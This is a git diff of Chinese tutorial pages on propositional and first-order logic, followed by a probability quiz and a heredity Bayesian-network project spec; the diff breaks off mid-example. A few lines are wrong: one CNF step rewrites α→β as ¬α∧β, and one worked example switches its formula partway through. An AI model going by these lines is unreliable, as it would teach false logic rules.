+  值得一提的是，Or 有两种类型：同或 Or 和异或 Or。在异或中，如果$P\lor Q$为真，则$P∧Q$为假。也就是说，一个异或要求它只有一个论点为真，而不要求两者都为真。如果$P、Q$或$P∧Q$中的任何一个为真，则包含或为真。在 Or($\lor$) 的情况下，意图是一个包含的 Or。
+
+- **Implication (→)** 逻辑蕴含：表示“如果$P$，则$Q$的结构。例如，如果$P$：“正在下雨”，$Q$：“我在室内”，则$P→ Q$的意思是“如果下雨，那么我在室内。”在$P$的情况下，意味着$Q$，$P$被称为前件，$Q$ 被称为后件。
+
+  当前件为真时，在后件为真的情况下，整个蕴含逻辑为真（这是有道理的：如果下雨，我在室内，那么“如果下雨，那么我在室内”这句话是真的）。当前件为真时，如果后件为假，则蕴含逻辑为假（如果下雨时我在外面，那么“如果下雨，那么我在室内”这句话是假的）。然而，当前件为假时，无论后件如何，蕴含逻辑总是真的。这有时可能是一个令人困惑的概念。从逻辑上讲，我们不能从蕴含中学到任何东西$(P→ Q)$如果前件 ($P$) 为假。看一下我们的例子，如果没有下雨，这个蕴含逻辑并没有说我是否在室内的问题。我可能是一个室内型的人，即使不下雨也不在外面走，或者我可能是一个室外型的人，不下雨的时候一直在外面。当前件是假的，我们说蕴含逻辑是真的。
+
+    | $P$ | $Q$ | $P\to Q$ |
+    | --- | --- | -------- |
+    | 0   | 0   | 1        |
+    | 0   | 1   | 1        |
+    | 1   | 0   | 0        |
+    | 1   | 1   | 1        |
+
+
+- <strong>Biconditional (</strong>$\leftrightarrow$<strong>)</strong> :是一个双向的蕴含。你可以把它读成“如果且仅当”$P↔ Q$等同$P→ Q$和$Q→ P$合在一起。例如，如果$P$：“正在下雨”，$Q$：“我在室内”，那么$P↔ Q$的意思是“如果下雨，那么我在室内”，“如果我在室内，那么就在下雨。”这意味着我们可以推断出比简单蕴含更多的东西。如果$P$为假，那么$Q$ 也为假；如果不下雨，我们知道我也不在室内。
+
+  | $P$ | $Q$ | $P\leftrightarrow Q$ |
+  | --- | --- | -------------------- |
+  | 0   | 0   | 1                    |
+  | 0   | 1   | 0                    |
+  | 1   | 0   | 0                    |
+  | 1   | 1   | 1                    |
+
+### 模型 (Model)
+
+模型是对每个命题的真值赋值。重申一下，命题是关于世界的陈述，可以是真也可以是假。然而，关于世界的知识体现在这些命题的真值中。模型是提供有关世界的信息的真值赋值。
+
+例如，如果 $P$：“正在下雨。”和 $Q$：“今天是星期二。”，模型可以是以下真值赋值：$\set{P = True, Q = False}$。此模型表示正在下雨，但不是星期二。然而，在这种情况下有更多可能的模型（例如，$\set{P = True, Q = True}$，星期二并且下雨）。事实上，可能模型的数量是命题数量的 2 次方。在这种情况下，我们有 2 个命题，所以 $2^2=4$ 个可能的模型。
+
+### 知识库 (Knowledge Base (KB))
+
+知识库是基于知识的智能主题已知的一组陈述句。这是关于人工智能以命题逻辑语句的形式提供的关于世界的知识，可用于对世界进行额外的推理。
+
+### 蕴含推理 (Entailment ($\vDash$))
+
+如果 $α ⊨ β$（$α$蕴含推理出 $β$），那么在任何 $α$为真的世界中，$β$也为真。
+
+例如，如果 $α$：“今天是一月的星期二”和 $β$：“今天是星期二”，那么我们知道 $α ⊨ β$。如果确实是一月的星期二，我们也知道这是星期二。蕴含推理不同于逻辑蕴含。逻辑蕴涵是两个命题之间的逻辑连接。另一方面，推理蕴含关系是指如果 $α$中的所有信息都为真，则 $β$中的所有信息都为真。
+
+## 推理 (Inference)
+
+推理是从原有命题推导出新命题的过程。
+
+### 模型检查算法 (Model Checking algorithm)
+
+确定是否$KB ⊨ α$(换句话说，回答问题：“我们能否根据我们的知识库得出结论 $α$为真？”)
+
+  - 枚举所有可能的模型。
+  - 如果在 $KB$为真的每个模型中，$α$也为真，则 $KB ⊨ α$。
+
+#### 一个例子
+
+$P$: 今天是星期四，$Q$: 今天下雨，$R$: 我将出门跑步$
+
+$KB$: 如果今天是星期四并且不下雨，那我将出门跑步；今天是星期四；今天不下雨。$(P\land\lnot Q)\to R,P,\lnot Q$
+
+查询结论 (query): $R$
+
+![](https://cdn.xyxsw.site/E8YrbXnGtoNHEJxmAttcX4p0nlg.png)
+
+接下来，让我们看看如何将知识和逻辑表示为代码。
+
+```python
+from logic import * # 创建新类，每个类都有一个名称或一个符号，代表每个命题。
+rain = Symbol("rain")  # 今天下雨
+hagrid = Symbol("hagrid")  # 哈利拜访了海格
+dumbledore = Symbol("dumbledore")  # 哈利拜访了邓布利多
+# 知识库中的陈述句
+knowledge = And(  # 从“和”逻辑连接词开始，因为每个命题都代表我们知道是真实的知识。
+Implication(Not(rain), hagrid),  # ¬(今天下雨) → (哈利拜访了海格)
+Or(hagrid, dumbledore),  # (哈利拜访了海格) ∨ (哈利拜访了邓布利多).
+Not(And(hagrid, dumbledore)),  # ¬(哈利拜访了邓布利多 ∧ 哈利拜访了海格) i.e. 哈利没有同时去拜访海格和邓布利多。
+dumbledore  # 哈利拜访了邓布利多。请注意，虽然之前的命题包含多个带有连接符的符号，但这是一个由一个符号组成的命题。这意味着我们将在这个 KB 中，Harry 拜访了 Dumbledore 作为事实。
+)
+```
+
+要运行模型检查算法，需要以下信息：
+
+- 知识库 (KB)，将用于得出推论
+- 一个查询结论 (query)，或者我们感兴趣的命题是否被$KB$包含
+- 命题符号，所有使用的符号（或原子命题）的列表（在我们的例子中，这些是 rain、hagrid 和 dumbledore）
+- 模型，将真值和假值分配给命题
+
+模型检查算法如下所示：
+
+```python
+def check_all(knowledge, query, symbols, model):# 如果模型对每个符号都有一个赋值
+    # (下面的逻辑可能有点混乱：我们从命题符号列表开始。该函数是递归的，每次调用自身时，它都会从命题符号列表中弹出一个命题符号并从中生成模型。因此，当命题符号列表为空时，我们知道我们已经完成生成模型，其中包含每个可能的命题真值分配。)
+    if not symbols:
+        # 如果知识库在模型中为真，则查询结论也必须为真
+        if knowledge.evaluate(model):
+            return query.evaluate(model)
+        return True
+    else:
+        # 选择剩余未使用的符号之一
+        remaining = symbols.copy()
+        p = remaining.pop()
+        # 创建一个模型，其中命题符号为真
+        model_true = model.copy()
+        model_true[p] = True
+        # 创建一个模型，其中命题符号为假
+        model_false = model.copy()
+        model_false[p] = False
+        # 确保两种模型都进行蕴含推理
+        return(check_all(knowledge, query, remaining, model_true) and check_all(knowledge, query, remaining, model_false))
+```
+
+请注意，我们只对$KB$为真的模型感兴趣。如果$KB$为假，那么我们知道真实的条件并没有出现在这些模型中，使它们与我们的案例无关。
+
+> 另一个例子：假设 $P$：Harry 扮演找球手，$Q$：Oliver 扮演守门员，$R$：Gryffindor 获胜。我们的$KB$指定$P$, $Q$, $(P ∧ Q) \to R$。换句话说，我们知道$P$为真，即 Harry 扮演找球手，$Q$为真，即 Oliver 扮演守门员，并且如果$P$和$Q$都为真，那么$R$也为真，这意味着 Gryffindor 赢得了比赛。现在想象一个模型，其中 Harry 扮演击球手而不是找球手 (因此，Harry 没有扮演找球手，$¬P$)。嗯，在这种情况下，我们不关心 Gryffindor 是否赢了 (无论$R$是否为真)，因为我们的$KB$中有信息表明 Harry 扮演的是找球手而不是击球手。我们只对$P$和$Q$ 为真的模型感兴趣。）
+
+此外，`check_all` 函数的工作方式是递归的。也就是说，它选择一个命题符号，创建两个模型，其中一个符号为真，另一个为假，然后再次调用自己，现在有两个模型因该命题符号的真值分配不同而不同。该函数将继续这样做，直到所有符号都已在模型中分配了真值，使 `symbol` 符号为空。一旦它为空（由 `if not symbols` 行标识），在函数的每个实例中（其中每个实例都包含不同的模型），函数检查$KB$是否为给定的有效模型。如果$KB$在此模型中为真，函数将检查查询结论是否为真，如前所述。
+
+## 知识工程 (Knowledge Engineering)
+
+知识工程是弄清楚如何在 AI 中表示命题和逻辑的工程。
+
+### 推理规则 (Inference Rules)
+
+模型检查不是一种有效的算法，因为它必须在给出答案之前考虑每个可能的模型（提醒：如果在$KB$为真的所有模型（真值分配）下，查询结论$R$为真，则$R$ 也为真）。推理规则允许我们根据现有知识生成新信息，而无需考虑所有可能的模型。
+
+推理规则通常使用将顶部部分（前提）与底部部分（结论）分开的水平条表示。前提是我们有什么知识，结论是根据这个前提可以产生什么知识。
+
+![](https://cdn.xyxsw.site/FjYOb3Qr5ofHdOx7REacdcyqn0c.png)
+
+#### 肯定前件 (Modus Ponens)
+
+如果我们知道一个蕴涵及其前件为真，那么后件也为真。
+
+![](https://cdn.xyxsw.site/HaqObF0xAoX6O8xDX7KctF0jnpf.png)
+
+#### 合取消除 (And Elimination)
+
+如果 And 命题为真，则其中的任何一个原子命题也为真。例如，如果我们知道哈利与罗恩和赫敏是朋友，我们就可以得出结论，哈利与赫敏是朋友。
+
+![](https://cdn.xyxsw.site/TI5Mb781YocwpqxRsyRcPS8WnAg.png)
+
+#### 双重否定消除 (Double Negation Elimination)
+
+被两次否定的命题为真。例如，考虑命题“哈利没有通过考试是不正确的”。这两个否定相互抵消，将命题“哈利通过考试”标记为真。
+
+![](https://cdn.xyxsw.site/NuabbQqZjoBkNixz45AcDZ8Bnrg.png)
+
+#### 蕴含消除 (Implication Elimination)
+
+蕴涵等价于被否定的前件和后件之间的 Or 关系。例如，命题“如果正在下雨，哈利在室内”等同于命题“(没有下雨) 或 (哈利在室内)”。
+
+![](https://cdn.xyxsw.site/S31Ub9xcUo9yArxntWscU47pnwh.png)
+
+| $P$ | $Q$ | $P\to Q$ | $\lnot P\lor Q$ |
+| --- | --- | -------- | --------------- |
+| 0   | 0   | 1        | 1               |
+| 0   | 1   | 1        | 1               |
+| 1   | 0   | 0        | 0               |
+| 1   | 1   | 1        | 1               |
+
+#### 等值消除 (Biconditional Elimination)
+
+等值命题等价于蕴涵及其逆命题的 And 关系。例如，“当且仅当 Harry 在室内时才下雨”等同于 (“如果正在下雨，Harry 在室内”和“如果 Harry 在室内，则正在下雨”)。
+
+![](https://cdn.xyxsw.site/EtPMbOXWwopIZsxjUJ0cYvHXn5g.png)
+
+#### 德摩根律 (De Morgan’s Law)
+
+可以将 And 连接词变成 Or 连接词。考虑以下命题：“哈利和罗恩都通过了考试是不正确的。”由此，可以得出“哈利通过考试不是真的”或者“罗恩不是真的通过考试”的结论。也就是说，要使前面的 And 命题为真，Or 命题中至少有一个命题必须为真。
+
+![](https://cdn.xyxsw.site/GTagbx1jso6l8gx1rQOcPW3inIb.png)
+
+同样，可以得出相反的结论。考虑这个命题“哈利或罗恩通过考试是不正确的”。这可以改写为“哈利没有通过考试”和“罗恩没有通过考试”。
+
+![](https://cdn.xyxsw.site/XOeTbb4BooRbKBx4gHwc3A7EnYf.png)
+
+#### 分配律 (Distributive Property)
+
+具有两个用 And 或 Or 连接词分组的命题可以分解为由 And 和 Or 组成的更小单元。
+
+![](https://cdn.xyxsw.site/KBxzbZhUCoX7FBx5ZVFczfPvnoc.png)
+
+![](https://cdn.xyxsw.site/CvPybic63o7jSlxvuzpcFxjQnse.png)
+
+### 知识和搜索问题
+
+推理可以被视为具有以下属性的搜索问题：
+
+- 初始状态：知识库
+- 动作：推理规则
+- 过渡模型：推理后的新知识库
+- 目标测试：检查我们要证明的语句是否在知识库中
+- 路径成本：证明中的步骤数
+
+这显示了搜索算法的通用性，使我们能够使用推理规则根据现有知识推导出新信息。
+
+## 归结 (Resolution)
+
+归结是一个强大的推理规则，它规定如果 Or 命题中的两个原子命题之一为假，则另一个必须为真。例如，给定命题“Ron 在礼堂”或“Hermione 在图书馆”，除了命题“Ron 不在礼堂”之外，我们还可以得出“Hermione 在图书馆”的结论。更正式地说，我们可以通过以下方式定义归结：
+
+![](https://cdn.xyxsw.site/PBF7bNpPcoTh1bxP4rqcshA5nIg.png)
+
+![](https://cdn.xyxsw.site/LTKXbs7VPoZxlqxfXfkczFh0nBh.png)
+
+归结依赖于互补文字，两个相同的原子命题，其中一个被否定而另一个不被否定，例如$P$和$¬P$。
+
+归结可以进一步推广。假设除了“Rom 在礼堂”或“Hermione 在图书馆”的命题外，我们还知道“Rom 不在礼堂”或“Harry 在睡觉”。我们可以从中推断出“Hermione 在图书馆”或“Harry 在睡觉”。正式地说：
+
+![](https://cdn.xyxsw.site/MebubVSxRonfZ2xnYj9c5TYCnIg.png)
+
+![](https://cdn.xyxsw.site/UZn3b4V8mo1OXxxKDQ0cAjwYnyf.png)
+
+互补文字使我们能够通过解析推理生成新句子。因此，推理算法定位互补文字以生成新知识。
+
+从句 (Clause) 是多个原子命题的析取式（命题符号或命题符号的否定，例如$P$, $¬P$）。析取式由 Or 逻辑连接词 ($P ∨ Q ∨ R$) 相连的命题组成。另一方面，连接词由 And 逻辑连接词 ($P ∧ Q ∧ R$) 相连的命题组成。从句允许我们将任何逻辑语句转换为合取范式 (CNF)，它是从句的合取，例如：$(A ∨ B ∨ C) ∧ (D ∨ ¬E) ∧ (F ∨ G)$。
+
+命题转换为合取范式的步骤、
+
+1. 等值消除
+   - 将$(α↔ β)$转化为$(α→ β)∧ (β → α)$
+2. 蕴含消除
+    - 将$(α→ β)$转化为$\lnotα∧β$
+3. 使用德摩根定律，将否定向内移动，直到只有原子命题被否定（而不是从句）
+     - 将$\lnot(\alpha∧β)$转换为$\lnotα\lor\lnotβ$
+4. 下面是一个转换$(P∧Q)\to R$到合取范式的例子：
+    - $(P ∨ Q) → R$
+    - $\lnot(P\lor Q)\lor R$蕴含消除
+    - $(\lnot P\land\lnot Q)\lor R$德摩根律
+    - $(\lnot P\lor R)\land(\lnot Q\lor R)$分配律
+
+归结命题及其否定，即$\lnot P$和$P$，得到空从句$()$。空从句总是假的，这是有道理的，因为$P$和$\lnot P$ 不可能都是真的。归结算法使用了这个事实。
+
+- 确定是否$KB⊨α$：
+  - 检查：$(KB∧\lnotα)$是矛盾的吗？
+    - 如果是这样，那么$KB⊨α$。
+    - 否则，$KB$无法蕴含推理出$\alpha$。
+
+矛盾证明是计算机科学中经常使用的一种工具。如果我们的知识库是真的，并且它与$\lnot α$相矛盾，那就意味着$\lnot\alpha$是假的，因此$α$必须是真的。从技术上讲，该算法将执行以下操作：
+
+- 确定是否$KB⊨α$：
+- 将$(KB∧\lnotα)$转换为合取范式。
+- 继续检查，看看我们是否可以使用归结来生成一个新的从句。
+- 如果我们生成了空从句（相当于 False），那么恭喜你！我们得出了一个矛盾，从而证明了$KB⊨α$。
+- 然而，如果没有实现矛盾，并且不能推断出更多的从句，那么就没有蕴含性。
+- 以下是一个示例，说明了该算法的工作原理：
+  - $(A ∨ B) ∧ (¬B ∨ C) ∧ (¬C)\vDash A?$
+  - $(A ∨ B) ∧ (¬B ∨ C) ∧ (¬C) ∧ (¬A)$
+  - $(\lnot B\lor C)\land\lnot C\vDash\lnot B\implies(A ∨ B) ∧ (¬B ∨ C) ∧ (¬C) ∧ (¬A)\land (\lnot B)$
+  - $(A\lor B)\land\lnot B\vDash A\implies(A ∨ B) ∧ (¬B ∨ C) ∧ (¬C) ∧ (¬A)\land (\lnot B)\land(A)$
+  - $(\lnot A\land A)\vDash ()\implies(A ∨ B) ∧ (¬B ∨ C) ∧ (¬C) ∧ (¬A)\land (\lnot B)\land(A)\land ()\implies False$
+
+## 一阶逻辑 (First Order Logic)
+
+一阶逻辑是另一种类型的逻辑，它使我们能够比命题逻辑更简洁地表达更复杂的想法。一阶逻辑使用两种类型的符号：常量符号和谓词符号。常量符号表示对象，而谓词符号类似于接受参数并返回 true 或 false 值的关系或函数。
+
+例如，我们回到霍格沃茨不同的人和家庭作业的逻辑谜题。常量符号是指人或房子，如 Minerva、Pomona、Gryffindor、Hufflepuff 等。谓语符号是一些常量符号的真或虚的属性。例如，我们可以使用句子 `person(Minerva)` 来表达 Minerva 是一个人的想法。同样，我们可以用 `house(Gryffindor)` 这个句子来表达 Gryffindor 是一所房子的想法。所有的逻辑连接词都以与以前相同的方式在一阶逻辑中工作。例如，$\lnot$`House(Minerva)` 表达了 Minerva 不是房子的想法。谓词符号也可以接受两个或多个自变量，并表达它们之间的关系。例如，BelongsTo 表达了两个论点之间的关系，即人和人所属的房子。因此，Minerva 拥有 Gryffindor 的想法可以表达为 `BelongsTo(Minerva，Gryffindor)`。一阶逻辑允许每个人一个符号，每个房子一个符号。这比命题逻辑更简洁，因为命题逻辑中每个人的房屋分配都需要不同的符号。
+
+### 全称量化 (Universal Quantification)
+
+量化是一种可以在一阶逻辑中使用的工具，可以在不使用特定常量符号的情况下表示句子。全称量化使用符号$∀$来表示“所有”。例如，$\forall x(BelongsTo(x, Gryffindor) → ¬BelongsTo(x, Hufflepuff))$表达了这样一种观点，即对于每个符号来说，如果这个符号属于 Gryffindor，那么它就不属于 Hufflepuff。
+
+### 存在量化 (Existential Quantification)
+
+存在量化是一个与全称量化平行的概念。然而，虽然全称量化用于创建对所有$x$都成立的句子，但存在量化用于创建至少对一个$x$成立的句子。它使用符号$∃$表示。例如，$∃x(House(x) ∧ BelongsTo(Minerva, x))$ 意味着至少有一个符号既是房子，又是属于 Minerva。换句话说，这表达了 Minerva 拥有房子的想法。
+
+存在量化和全称量化可以用在同一个句子中。例如，$∀x(Person(x) → (∃y(House(y) ∧ BelongsTo(x, y))))$表达了这样一种观点，即如果$x$是一个人，那么这个人至少拥有一个房子$y$。换句话说，这句话的意思是每个人都拥有一所房子。
+
+还有其他类型的逻辑，它们之间的共同点是，它们都是为了表示信息而存在的。这些是我们用来在人工智能中表示知识的系统。
+
+## 补充材料
+
+Introduction to the Theory of Computation, Third International Edition (Michael Sipser)
+
+具体数学：计算机科学基础。第 2 版
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/4.3.3.1程序示例.md b/技术资源汇总(杭电支持版)/4.人工智能/4.3.3.1程序示例.md
new file mode 100644
index 0000000..429dc50
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/4.3.3.1程序示例.md
@@ -0,0 +1,56 @@
+# 程序示例
+
+::: tip
+阅读程序，然后“玩一玩”程序！
+
+完成习题
+:::
+
+::: tip 📥
+本节附件下载 <Download url="https://cdn.xyxsw.site/code/3-Lecture.zip"/>
+:::
+
+本节代码不做额外梳理，[不确定性问题](./4.3.3%E4%B8%8D%E7%A1%AE%E5%AE%9A%E6%80%A7%E9%97%AE%E9%A2%98.md) 中已有解释。
+
+## Quiz
+
+1. 考虑一副标准的 52 张牌，在四种花色（梅花、方块、红心、黑桃）中各有 13 种牌值（A、K、Q、J 和 2-10）。如果随机抽出一张牌，它是黑桃或 2 的概率是多少？
+    1. About 0.019
+    2. About 0.077
+    3. About 0.17
+    4. About 0.25
+    5. About 0.308
+    6. About 0.327
+    7. About 0.5
+    8. None of the above
+2. 想象一下，抛出两枚硬币，每枚硬币都有正面和反面，50% 的时间出现正面，50% 的时间出现反面。抛出这两枚硬币后，其中一枚是正面，另一枚是反面的概率是多少？
+    1. 0
+    2. 0.125
+    3. 0.25
+    4. 0.375
+    5. 0.5
+    6. 0.625
+    7. 0.75
+    8. 0.875
+    9. 1
+3. 回答关于贝叶斯网络的问题，问题如下：
+  ![](https://cdn.xyxsw.site/PUesbhgsFoiucAxWBKYcUUU3nMd.png)
+  以下哪句话是真的？
+
+    1. 假设我们知道有轨道维护，那么是否有雨并不影响列车准时到达的概率。
+    2. 假设我们知道有雨，那么是否有轨道维修并不影响列车准时到达的概率。
+    3. 假设我们知道火车是准时的，是否有雨会影响到赴约的概率。
+    4. 假设我们知道火车是准时的，那么是否有轨道维修并不影响赴约的概率。
+    5. 假设我们知道有轨道维护，那么是否有雨并不影响参加约会的概率。
+4. 两家工厂--A 厂和 B 厂--设计用于手机的电池。A 厂生产 60% 的电池，B 厂生产另外 40%。A 厂 2% 的电池有缺陷，B 厂 4% 的电池有缺陷。一个电池既由 A 厂生产又有缺陷的概率是多少？
+    1. 0.008
+    2. 0.012
+    3. 0.024
+    4. 0.028
+    5. 0.02
+    6. 0.06
+    7. 0.12
+    8. 0.2
+    9. 0.429
+    10. 0.6
+    11. None of the above
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/4.3.3.2项目：遗传.md b/技术资源汇总(杭电支持版)/4.人工智能/4.3.3.2项目：遗传.md
new file mode 100644
index 0000000..c598333
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/4.3.3.2项目：遗传.md
@@ -0,0 +1,119 @@
+# 项目：遗传
+
+::: tip
+我们为你提供了一个简单有趣的项目，帮助你进行知识巩固，请认真阅读文档内容。
+
+如果你卡住了，请记得回来阅读文档，或请求身边人的帮助。
+:::
+
+::: tip 📥
+本节附件下载 <Download url="https://cdn.xyxsw.site/code/3-Projects.zip"/>
+:::
+
+## 背景
+
+GJB2 基因的突变版本是导致新生儿听力障碍的主要原因之一。每个人都携带两个版本的基因，因此每个人都有可能拥有 0、1 或 2 个听力障碍版本的 GJB2 基因。不过，除非一个人接受基因测试，否则要知道一个人拥有多少个变异的 GJB2 基因并不那么容易。这是一些 "隐藏状态"：具有我们可以观察到的影响（听力损伤）的信息，但我们不一定直接知道。毕竟，有些人可能有 1 或 2 个突变的 GJB2 基因，但没有表现出听力障碍，而其他人可能没有突变的 GJB2 基因，但仍然表现出听力障碍。
+
+每个孩子都会从他们的父母那里继承一个 GJB2 基因。如果父母有两个变异基因，那么他们会将变异基因传给孩子；如果父母没有变异基因，那么他们不会将变异基因传给孩子；如果父母有一个变异基因，那么该基因传给孩子的概率为 0.5。不过，在基因被传递后，它有一定的概率发生额外的突变：从导致听力障碍的基因版本转变为不导致听力障碍的版本，或者反过来。
+
+我们可以尝试通过对所有相关变量形成一个贝叶斯网络来模拟所有这些关系，就像下面这个网络一样，它考虑了一个由两个父母和一个孩子组成的家庭。
+
+![](https://cdn.xyxsw.site/FNyab3RWQo3EA8xu8T7cyLwhnyh.png)
+
+家庭中的每个人都有一个 `Gene` 随机变量，代表一个人有多少个特定基因（例如，GJB2 的听力障碍版本）：一个 0、1 或 2 的值。家族中的每个人也有一个 `Trait` 随机变量，它是 `yes` 或 `no`，取决于该人是否表达基于该基因的性状（例如，听力障碍）。从每个人的 `Gene` 变量到他们的 `Trait` 变量之间有一个箭头，以编码一个人的基因影响他们具有特定性状的概率的想法。同时，也有一个箭头从母亲和父亲的 `Gene` 随机变量到他们孩子的 `Gene` 随机变量：孩子的基因取决于他们父母的基因。
+
+你在这个项目中的任务是使用这个模型对人群进行推断。给出人们的信息，他们的父母是谁，以及他们是否具有由特定基因引起的特定可观察特征（如听力损失），你的人工智能将推断出每个人的基因的概率分布，以及任何一个人是否会表现出有关特征的概率分布。
+
+## 理解
+
+打开 `data/family0.csv`，看看数据目录中的一个样本数据集（你可以在文本编辑器中打开，或者在 Google Sheets、Excel 或 Apple Numbers 等电子表格应用程序中打开）。注意，第一行定义了这个 CSV 文件的列：`name`, `mother`, `father`, 和 `trait`。下一行表明 Harry 的母亲是 Lily，父亲是 James，而 `Trait` 的空单元格意味着我们不知道 Harry 是否有这种性状。同时，James 在我们的数据集中没有列出父母（如母亲和父亲的空单元格所示），但确实表现出了性状（如 `Trait` 单元格中的 1 所示）。另一方面，Lily 在数据集中也没有列出父母，但没有表现出这种性状（如 `Trait` 单元格中的 0 表示）。
+
+打开 `heredity.py`，首先看一下 `PROBS` 的定义。`PROBS` 是一个包含若干常数的字典，代表各种不同事件的概率。所有这些事件都与一个人拥有多少个特定的突变基因，以及一个人是否基于该基因表现出特定的性状有关。这里的数据松散地基于 GJB2 基因的听力障碍版本和听力障碍性状的概率，但通过改变这些值，你也可以用你的人工智能来推断其他的基因和性状！
+
+首先，`PROBS["gene"]` 代表了该基因的无条件概率分布（即如果我们对该人的父母一无所知的概率）。根据分布代码中的数据，在人群中，有 1% 的机会拥有该基因的 2 个副本，3% 的机会拥有该基因的 1 个副本，96% 的机会拥有该基因的零副本。
+
+接下来，`PROBS["trait"]` 表示一个人表现出某种性状（如听力障碍）的条件概率。这实际上是三个不同的概率分布：基因的每个可能值都有一个。因此，`PROBS["trait"][2]` 是一个人在有两个突变基因的情况下具有该特征的概率分布：在这种情况下，他们有 65% 的机会表现出该特征，而有 35% 的机会不表现出该特征。同时，如果一个人有 0 个变异基因，他们有 1% 的机会表现出该性状，99% 的机会不表现出该性状。
+
+最后，`PROBS["mutation"]` 是一个基因从作为相关基因突变为不是该基因的概率，反之亦然。例如，如果一个母亲有两个变异基因，并因此将其中一个传给她的孩子，就有 1% 的机会突变为不再是变异基因。相反，如果一个母亲没有任何变异基因，因此没有把变异基因传给她的孩子，但仍有 1% 的机会突变为变异基因。因此，即使父母双方都没有变异基因，他们的孩子也可能有 1 个甚至 2 个变异基因。
+
+最终，你计算的概率将以 `PROBS` 中的这些数值为基础。
+
+现在，看一下 `main` 函数。该函数首先将数据从一个文件加载到一个字典 `people` 中。`people` 将每个人的名字映射到另一个包含他们信息的字典中：包括他们的名字，他们的母亲（如果数据集中有一个母亲），他们的父亲（如果数据集中有一个父亲），以及他们是否被观察到有相关的特征（如果有则为 `True`，没有则为 `False`，如果我们不知道则为 `None`）。
+接下来，`main` 中定义了一个字典 `probabilities`，所有的概率最初都设置为 0。这就是你的项目最终要计算的内容：对于每个人，你的人工智能将计算他们有多少个变异基因的概率分布，以及他们是否具有该性状。例如，`probabilities["Harry"]["gene"][1]` 将是 Harry 有 1 个变异基因的概率，而 `probabilities["Lily"]["trait"][False]` 将是 Lily 没有表现出该性状的概率。
+
+如果不熟悉的话，这个 `probabilities` 字典是用 [python 字典](https://www.python.org/dev/peps/pep-0274/)创建的，在这种情况下，它为我们的 `people` 中的每个 `person` 创建一个键/值对。
+
+最终，我们希望根据一些证据来计算这些概率：鉴于我们知道某些人有或没有这种特征，我们想确定这些概率。你在这个项目中的任务是实现三个函数来做到这一点： `joint_probability` 计算一个联合概率，`update` 将新计算的联合概率添加到现有的概率分布中，然后 `normalize` 以确保所有概率分布最后和为 1。
+
+## 明确
+
+完成 `joint_probability`、`update` 和 `normalize` 的实现。
+
+`joint_probability` 函数应该接受一个 `people` 的字典作为输入，以及关于谁拥有多少个变异基因，以及谁表现出该特征的数据。该函数应该返回所有这些事件发生的联合概率。
+
+- 该函数接受四个数值作为输入：`people`, `one_gene`, `two_genes`, 和 `have_trait`。
+
+  - `people` 是一个在 "理解"一节中描述的人的字典。键代表名字，值是包含 `mother` 和 `father` 键的字典。你可以假设 `mother` 和 `father` 都是空白的（数据集中没有父母的信息），或者 `mother` 和 `father` 都会指代 `people` 字典中的其他人物。
+  - `one_gene` 是一个集合，我们想计算所有集合元素有一个变异基因的概率。
+  - `two_genes` 是一个集合，我们想计算所有集合元素有两个变异基因的概率。
+  - `have_trait` 是一个集合，我们想计算所有集合元素拥有该性状的概率。
+  - 对于不在 `one_gene` 或 t `wo_genes` 中的人，我们想计算他们没有变异基因的概率；对于不在 `have_trait` 中的人，我们想计算他们没有该性状的概率。
+
+- 例如，如果这个家庭由 Harry、James 和 Lily 组成，那么在 `one_gene = {"Harry"}`、`two_genes = {"James"}` 和 `trait = {"Harry"、"James"}` 的情况下调用这个函数，应该计算出 Lily 没有变异基因、Harry 拥有一个变异基因、James 拥有两个变异基因、Harry 表现出该性状、James 表现出该性状和 Lily 没有表现出该性状的联合概率。
+- 对于数据集中没有列出父母的人，使用概率分布 `PROBS["gene"]` 来确定他们有特定数量基因的概率。
+- 对于数据集中有父母的人来说，每个父母都会把他们的两个基因中的一个随机地传给他们的孩子，而且有一个 `PROBS["mutation"]` 的机会，即它会发生突变（从变异基因变成正常基因，或者相反）。
+- 使用概率分布 `PROBS["trait"]` 来计算一个人具有或不具有形状的概率。
+
+`update` 函数将一个新的联合分布概率添加到 `probabilities` 中的现有概率分布中。
+
+- 该函数接受五个值作为输入：`probabilities`, `one_gene`, `two_genes`, `have_trait`, 和 `p`。
+
+  - `probabilities` 是一个在 "理解 "部分提到的字典。每个人都被映射到一个 `"gene"` 分布和一个 `"trait"` 分布。
+  - `one_gene` 是一个集合，我们想计算所有集合元素有一个变异基因的概率。
+  - `two_genes` 是一个集合，我们想计算所有集合元素有两个变异基因的概率。
+  - `have_trait` 是一个集合，我们想计算所有集合元素拥有该性状的概率。
+  - `p` 是联合分布的概率。
+- 对于概率中的每个人，该函数应该更新 `probabilities[person]["gene"]` 分布和 `probabilities[person]["trait"]` 分布，在每个分布中的适当数值上加上 `p`。所有其他数值应保持不变。
+- 例如，如果"Harry"同时出现在 `two_genes` 和 `have_trait` 中，那么 `p` 将被添加到 `probabilities["Harry"]["gene"][2]` 和 `probabilities["Harry"]["trait"][True]`。
+- 该函数不应返回任何值：它只需要更新 `probabilities` 字典。
+
+`normalize` 函数更新 `probabilities` 字典，使每个概率分布被归一化（即和为 1，相对比例相同）。
+
+- 该函数接受一个单一的值：`probabilities`。
+
+  - `probabilities` 是一个在"理解"部分提到的字典。每个人都被映射到一个 `"gene"` 分布和一个 `"trait"` 分布。
+- 对于 `probabilities` 中每个人的两个分布，这个函数应该将该分布归一化，使分布中的数值之和为 1，分布中的相对数值是相同的。
+- 例如，如果 `probabilities["Harry"]["trait"][True]` 等于 `0.1`，概率 `probabilities["Harry"]["trait"][False]` 等于 `0.3`，那么你的函数应该将前一个值更新为 `0.25`，后一个值更新为 `0.75`: 现在数字之和为 1，而且后一个值仍然比前一个值大三倍。
+- 该函数不应返回任何值：它只需要更新 `probabilities` 字典。
+
+除了规范中要求你实现的三个函数外，你不应该修改 `heredity.py` 中的任何其他东西，尽管你可以编写额外的函数和/或导入其他 Python 标准库模块。如果熟悉的话，你也可以导入 `numpy` 或 `pandas`，但是你不应该使用任何其他第三方 Python 模块。
+
+## 一个联合概率例子
+
+为了帮助你思考如何计算联合概率，我们在下面附上一个例子。
+
+请考虑以下 `people` 的值：
+
+```python
+{
+  'Harry': {'name': 'Harry', 'mother': 'Lily', 'father': 'James', 'trait': None},
+  'James': {'name': 'James', 'mother': None, 'father': None, 'trait': True},
